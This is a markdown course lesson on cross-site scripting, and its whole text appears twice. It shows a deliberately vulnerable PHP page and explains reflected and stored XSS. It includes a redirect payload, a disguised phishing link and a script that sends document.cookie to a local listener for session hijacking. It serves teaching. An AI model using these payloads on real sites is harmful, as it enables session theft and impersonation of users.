st28_XSS.md

# Cross Site Scripting

Cross Site Scripting (XSS) is an attack where a malicious attacker
injects executable code (often JavaScript) into another user's browser.

Rather than target the victim, the attack exploits a vulnerability in the
website that is visited, using this to deliver the malicious JavaScript (JS). To the
victim, the JS appears to be a legitimate part of the website, and
therefore should be executed without the site owner's (or victim's)
knowledge.

## How it works

Malicious JS is injected into one of the pages on a website, which
implies that the site will accept (and include) user input in its pages.
Again this goes back to Rule #1 of Web Development (don't trust user
input).

If the page performs inadequate sanitation on the input, the data
inserted by the attacker will be executed by the victim's browser.

As an example, consider the following PHP page, that relays data input
in a form:

~~~ php
<html>
<?php
   echo "<p>Form input was ".$_GET["input"]."</p>"
?>
</html>
~~~

The code assumes that the user will only input text. So if the user
input was `Hello world` the output would be:

~~~ html
<html>
   <p>Form input was Hello World</p>
</html>
~~~

However, if the user input contains JavaScript such as
`<script>alert();</script>` the output becomes:

![XSS Alertbox Input](Image/XSS_Input.png)

~~~ html
<html>
   <p>Form input was <script>alert()</script></p>
</html>
~~~

When the Page is loaded by the browser the code contained between the
script tags will execute.

![XSS Alertbox Result](Image/XSS_Result.png)


## So what can the Bad Guys do with it?

-   Session Jacking
-   Key Logging
-   Phishing
-   All sorts of other fun

While executing JS in someone else's browser may not seem that bad (for
example, it is hard to get hold of files on the remote system using JS)
there are other options that can take place outside of the browser.

-   JS may have access to Cookie Data
-   JS can send HTTP requests to other parts of the web
-   JS can modify the HTML of the current page using the DOM

Again, while these may not directly lead to loss of data, it is possible
to steal credentials (then log in as another user) to escalate the
attack.

## Types of XSS
[LD comment: This could be another step?]()

There are three main types of XSS: reflected, stored and DOM (Document
Object Model) manipulation.  We will focus on the Reflected and Stored
versions, as the DOM based approach can be seen as an extension of
them.

### Reflected


Traditionally thought of as the 'least dangerous' of XSS style
attacks, here the malicious code is part of the victim's request to the
website. While thought of as 'less dangerous', that is not always the case.

Inputs to databases are often sanitised, meaning it can be harder to
get a stored XSS attack past the defences.

On the other hand, reflected attacks will tend to crop up in debugging/user information,
and are only visible to the user who sent the request. This means that
to perform a successful reflected XSS we would need some social
engineering to get the victim to follow the link, but the potential
impact is still high.

### Stored XSS


In this case the malicious code is stored on the website server
itself. Consider the a simple message board, where posts are not
sanitised. If the user submits a message containing malicious JS, this
will be executed for every user who visits the page.

Overall this is a more dangerous style of attack, as it can target a
wide range of users without us having to put in much effort. However, it
is 'rarer' in the wild, mostly because people are paying more attention
to the dangers of XSS here.


# Examples of XSS
[LD comment: This could also be another step?]()

## Window Redirection

JavaScript allows us to update the page that is displayed. For a
Phishing style attack we can redirect the current page to elsewhere
(for example, a page that looks much like the login page). This may
enable us to seize user credentials.

This would use the payload: [LD comment: 'payload'?]()

~~~ JavaScript
<script>window.location="http://127.0.0.1:8000/</script>
~~~


Consider the [XSS Example](http://172.18.0.1/reflected_xss_get.php)
from before. We know the form takes a GET request , then echoes it's
value back to the user. Consider what would happen if we could trick
the user into clicking the following URL.

```../reflected_xss_get.php/?forminput=<script>alert("Pwnd");</script>```

For even more fun consider the following, sent as part of an email or IM:

~~~ {.html}
http://172.18.0.1/reflected_xss_get.php/?forminput=<script>alert("Pwnd");</script>
~~~

Which displays as [A Nice Safe Link](http://172.18.0.1/reflected_xss_get.php/?forminput=<script>alert("Pwnd");</script>)

Thus (with a bit of luck) we can get code to be displayed on the Victim's
machine through a URL.

## Session Jacking

Attackers can also use XSS to attempt to steal another users credentials.

Most sites make use of *cookies* to keep track of users. Cookies are a
unique identifier linking a user to a *session* on the server. This
allows us to keep track of which authenticated user is requesting
information from the server.

However, there is a problem with this approach, as the cookie itself
is used to identify you.  If you can obtain the identifying cookie for
a user, then you *are* that user as far as the server is concerned.

We can use JavaScript to get cookie information by requesting the
*document.cookie* as part of the script.

You can see this in a web browser, most modern browsers (Firefox,
Chrome and Edge) have a "Developer / Console Mode", you can find this
by right clicking and looking for "Inspect Element".  You can then
type JavaScript into the console, and see the live result.

For example we can see the Cookie for a GitHub page, in the Image below.
![View Cookie in the Console](Image/ConsoleCookie.png)

Taking this one step further we can use XSS to display an alert box
showing the session cookie.  For example

~~~
<script>alert("Your session cookie is "+document.cookie);</script>
~~~

![Use XSS to Grab a Cookie](Image/XSSCookie.png)

> This may not always be possible, the **HttpOnly** flag can be set
> on a cookie, that instructs the browsers that the cookie should not
> be accessible via JavaScript.
>
> While we like to deride Microsoft and the security of Internet
> Explorer, the HttpOnly flag was their idea, and was first introduced
> in IE6.
>
> However, with the exception of Microsoft!, browser support for this
> is still patchy, and there are a few workarounds in the
> wild. For an interesting discussion see:
> <https://www.owasp.org/index.php/HttpOnly#Browsers_Supporting_HTTPOnly>

So if the website is not setup correctly, we can make use of
JavaScript to access a user's cookie.  For this proof of concept attack
to work we need two components.

 1) Some way of retrieving the captured cookie.
 2) A piece of JavaScript that will grab the users session cookie

The first stage is reliably easy. If we have a publicly accessible
web server, we can request a page from this and include the session
cookie. The page request including the cookie value will show up in
the Logs for the server.

For the second task we need some way of making a web request; the
traditional method it to insert a image into the page, and append the
cookie to the image URL. The following JavaScript will:

 - Ask the server at ```127.0.0.1``` for the ```evil.jpg``` image
 - Append the cookie as a parameter to the request.

~~~
<script>
new Image().src="http://127.0.0.1:8000/evil.jpg?output="+document.cookie;
</script>
~~~

The image below shows the result of this.  The right hand window is a
HTTP web server listening for the connection. You can see that the
cookie has been included as part of the Web request.

![Session Jacking with XSS](Image/XSS_ImageCookie.png)

We can now modify our own cookie, using the information that has been
sent across and become a different user.

## Summary

In this article we have looked at Cross Site Scripting (XSS), and
introduced some of the ways that hackers can use XSS to manipulate how
web page behaves.  In the Lab session we will have a demonstration of
XSS, and use it to steal each other's credentials.


# Links

[Cookies and
Sessions](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Session_Management_Cheat_Sheet.md)
[OWASP on
XSS](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS))
	# Cross Site Scripting

	Cross Site Scripting (XSS) is an attack where a malicious attacker
	injects executable code (often JavaScript) into another user's browser.

	Rather than target the victim, the attack exploits a vulnerability in the
	website that is visited, using this to deliver the malicious JavaScript (JS). To the
	victim, the JS appears to be a legitimate part of the website, and
	therefore should be executed without the site owner's (or victim's)
	knowledge.

	## How it works

	Malicious JS is injected into one of the pages on a website, which
	implies that the site will accept (and include) user input in its pages.
	Again this goes back to Rule #1 of Web Development (don't trust user
	input).

	If the page performs inadequate sanitation on the input, the data
	inserted by the attacker will be executed by the victim's browser.

	As an example, consider the following PHP page, that relays data input
	in a form:

	~~~ php
	<html>
	<?php
	echo "<p>Form input was ".$_GET["input"]."</p>"
	?>
	</html>
	~~~

	The code assumes that the user will only input text. So if the user
	input was `Hello world` the output would be:

	~~~ html
	<html>
	<p>Form input was Hello World</p>
	</html>
	~~~

	However, if the user input contains JavaScript such as
	`<script>alert();</script>` the output becomes:

	![XSS Alertbox Input](Image/XSS_Input.png)

	~~~ html
	<html>
	<p>Form input was <script>alert()</script></p>
	</html>
	~~~

	When the Page is loaded by the browser the code contained between the
	script tags will execute.

	![XSS Alertbox Result](Image/XSS_Result.png)


	## So what can the Bad Guys do with it?

	- Session Jacking
	- Key Logging
	- Phishing
	- All sorts of other fun

	While executing JS in someone else's browser may not seem that bad (for
	example, it is hard to get hold of files on the remote system using JS)
	there are other options that can take place outside of the browser.

	- JS may have access to Cookie Data
	- JS can send HTTP requests to other parts of the web
	- JS can modify the HTML of the current page using the DOM

	Again, while these may not directly lead to loss of data, it is possible
	to steal credentials (then log in as another user) to escalate the
	attack.

	## Types of XSS
	[LD comment: This could be another step?]()

	There are three main types of XSS: reflected, stored and DOM (Document
	Object Model) manipulation. We will focus on the Reflected and Stored
	versions, as the DOM based approach can be seen as an extension of
	them.

	### Reflected


	Traditionally thought of as the 'least dangerous' of XSS style
	attacks, here the malicious code is part of the victim's request to the
	website. While thought of as 'less dangerous', that is not always the case.

	Inputs to databases are often sanitised, meaning it can be harder to
	get a stored XSS attack past the defences.

	On the other hand, reflected attacks will tend to crop up in debugging/user information,
	and are only visible to the user who sent the request. This means that
	to perform a successful reflected XSS we would need some social
	engineering to get the victim to follow the link, but the potential
	impact is still high.

	### Stored XSS


	In this case the malicious code is stored on the website server
	itself. Consider the a simple message board, where posts are not
	sanitised. If the user submits a message containing malicious JS, this
	will be executed for every user who visits the page.

	Overall this is a more dangerous style of attack, as it can target a
	wide range of users without us having to put in much effort. However, it
	is 'rarer' in the wild, mostly because people are paying more attention
	to the dangers of XSS here.


	# Examples of XSS
	[LD comment: This could also be another step?]()

	## Window Redirection

	JavaScript allows us to update the page that is displayed. For a
	Phishing style attack we can redirect the current page to elsewhere
	(for example, a page that looks much like the login page). This may
	enable us to seize user credentials.

	This would use the payload: [LD comment: 'payload'?]()

	~~~ JavaScript
	<script>window.location="http://127.0.0.1:8000/</script>
	~~~


	Consider the [XSS Example](http://172.18.0.1/reflected_xss_get.php)
	from before. We know the form takes a GET request , then echoes it's
	value back to the user. Consider what would happen if we could trick
	the user into clicking the following URL.

	```../reflected_xss_get.php/?forminput=<script>alert("Pwnd");</script>```

	For even more fun consider the following, sent as part of an email or IM:

	~~~ {.html}
	http://172.18.0.1/reflected_xss_get.php/?forminput=<script>alert("Pwnd");</script>
	~~~

	Which displays as [A Nice Safe Link](http://172.18.0.1/reflected_xss_get.php/?forminput=<script>alert("Pwnd");</script>)

	Thus (with a bit of luck) we can get code to be displayed on the Victim's
	machine through a URL.

	## Session Jacking

	Attackers can also use XSS to attempt to steal another users credentials.

	Most sites make use of cookies to keep track of users. Cookies are a
	unique identifier linking a user to a session on the server. This
	allows us to keep track of which authenticated user is requesting
	information from the server.

	However, there is a problem with this approach, as the cookie itself
	is used to identify you. If you can obtain the identifying cookie for
	a user, then you are that user as far as the server is concerned.

	We can use JavaScript to get cookie information by requesting the
	document.cookie as part of the script.

	You can see this in a web browser, most modern browsers (Firefox,
	Chrome and Edge) have a "Developer / Console Mode", you can find this
	by right clicking and looking for "Inspect Element". You can then
	type JavaScript into the console, and see the live result.

	For example we can see the Cookie for a GitHub page, in the Image below.
	![View Cookie in the Console](Image/ConsoleCookie.png)

	Taking this one step further we can use XSS to display an alert box
	showing the session cookie. For example

	~~~
	<script>alert("Your session cookie is "+document.cookie);</script>
	~~~

	![Use XSS to Grab a Cookie](Image/XSSCookie.png)

	> This may not always be possible, the HttpOnly flag can be set
	> on a cookie, that instructs the browsers that the cookie should not
	> be accessible via JavaScript.
	>
	> While we like to deride Microsoft and the security of Internet
	> Explorer, the HttpOnly flag was their idea, and was first introduced
	> in IE6.
	>
	> However, with the exception of Microsoft!, browser support for this
	> is still patchy, and there are a few workarounds in the
	> wild. For an interesting discussion see:
	> <https://www.owasp.org/index.php/HttpOnly#Browsers_Supporting_HTTPOnly>

	So if the website is not setup correctly, we can make use of
	JavaScript to access a user's cookie. For this proof of concept attack
	to work we need two components.

	1) Some way of retrieving the captured cookie.
	2) A piece of JavaScript that will grab the users session cookie

	The first stage is reliably easy. If we have a publicly accessible
	web server, we can request a page from this and include the session
	cookie. The page request including the cookie value will show up in
	the Logs for the server.

	For the second task we need some way of making a web request; the
	traditional method it to insert a image into the page, and append the
	cookie to the image URL. The following JavaScript will:

	- Ask the server at ```127.0.0.1``` for the ```evil.jpg``` image
	- Append the cookie as a parameter to the request.

	~~~
	<script>
	new Image().src="http://127.0.0.1:8000/evil.jpg?output="+document.cookie;
	</script>
	~~~

	The image below shows the result of this. The right hand window is a
	HTTP web server listening for the connection. You can see that the
	cookie has been included as part of the Web request.

	![Session Jacking with XSS](Image/XSS_ImageCookie.png)

	We can now modify our own cookie, using the information that has been
	sent across and become a different user.

	## Summary

	In this article we have looked at Cross Site Scripting (XSS), and
	introduced some of the ways that hackers can use XSS to manipulate how
	web page behaves. In the Lab session we will have a demonstration of
	XSS, and use it to steal each other's credentials.


	# Links

	[Cookies and
	Sessions](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Session_Management_Cheat_Sheet.md)
	[OWASP on
	XSS](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS))